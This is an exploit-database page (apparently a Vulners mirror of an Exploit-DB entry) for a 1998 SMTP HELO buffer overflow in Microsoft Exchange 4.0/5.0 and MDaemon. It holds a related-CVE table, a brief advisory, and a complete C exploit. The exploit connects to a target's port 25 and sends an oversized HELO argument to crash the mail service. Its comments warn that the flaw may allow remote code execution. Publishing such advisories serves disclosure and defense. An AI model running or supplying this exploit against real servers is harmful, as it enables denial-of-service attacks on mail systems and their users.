Lucene search
+L

Microsoft Exchange Server 4.0/5.0 - SMTP HELO Argument Buffer Overflow

🗓️ 10 Mar 1998 00:00:00Reported by RootshellType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Microsoft Exchange Server 4.0/5.0 has an SMTP HELO argument buffer overflow vulnerability.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-1999-0284
4 Feb 200005:00
cve
Cvelist
CVE-1999-0284
4 Feb 200005:00
cvelist
Exploit DB
Ipswitch Imail Server 5.0 - SMTP HELO Argument Buffer Overflow
10 Mar 199800:00
exploitdb
Exploit DB
Alt-N MDaemon Server 2.71 SP1 - SMTP HELO Argument Buffer Overflow
10 Mar 199900:00
exploitdb
EUVD
EUVD-1999-0284
7 Oct 202500:30
euvd
Tenable Nessus
MDaemon SMTP HELO Command Remote Overflow DoS
22 Jun 199900:00
nessus
Tenable Nessus
Lotus Notes SMTP Server HELO Command Overflow DoS
22 Jun 199900:00
nessus
Tenable Nessus
SLMail HELO Command Remote Overflow
22 Jun 199900:00
nessus
NVD
CVE-1999-0284
1 Jan 199805:00
nvd
Positive Technologies
PT-1998-1059 · Ipswitch +2 · Ipswitch +2
1 Jan 199800:00
ptsecurity
Rows per page
// source: https://www.securityfocus.com/bid/8555/info

It has been reported that Microsoft Exchange server is prone to an SMTP HELO command argument buffer overflow vulnerability.

The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon.

/*
 * MDaemon SMTP server for Windows buffer overflow exploit
 *
 * http://www.mdaemon.com - if you dare...
 *
 * Tested on MDaemon 2.71 SP1
 *
 * http://www.rootshell.com/
 *
 * Released 3/10/98
 *
 * (C) 1998 Rootshell All Rights Reserved
 *
 * For educational use only. Distribute freely.
 *
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail
 * connector if SP2 has NOT been installed.
 *
 * Danger!
 *
 * A malicous user could use this bug to execute arbitrary code on the
 * remote system.
 *
 */


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>


void main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  struct hostent *hp;
  char *buffer;
  int sock, i;


  if (argc != 2) {
    printf("usage: %s <smtp server>\n", argv[0]);
    exit(1);
  }
  hp = gethostbyname(argv[1]);
  if (hp==NULL) {
    printf("Unknown host: %s\n",argv[1]);
    exit(1);
  }
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  sin.sin_family = hp->h_addrtype;
  sin.sin_port = htons(25);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  buffer = (char *)malloc(10000);
  sprintf(buffer, "HELO ");
  for (i = 0; i<4096; i++)
    strcat(buffer, "x");
  strcat(buffer, "\r\n");
  write(sock, &buffer[0], strlen(buffer));
  close(sock);
  free(buffer);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.11626
31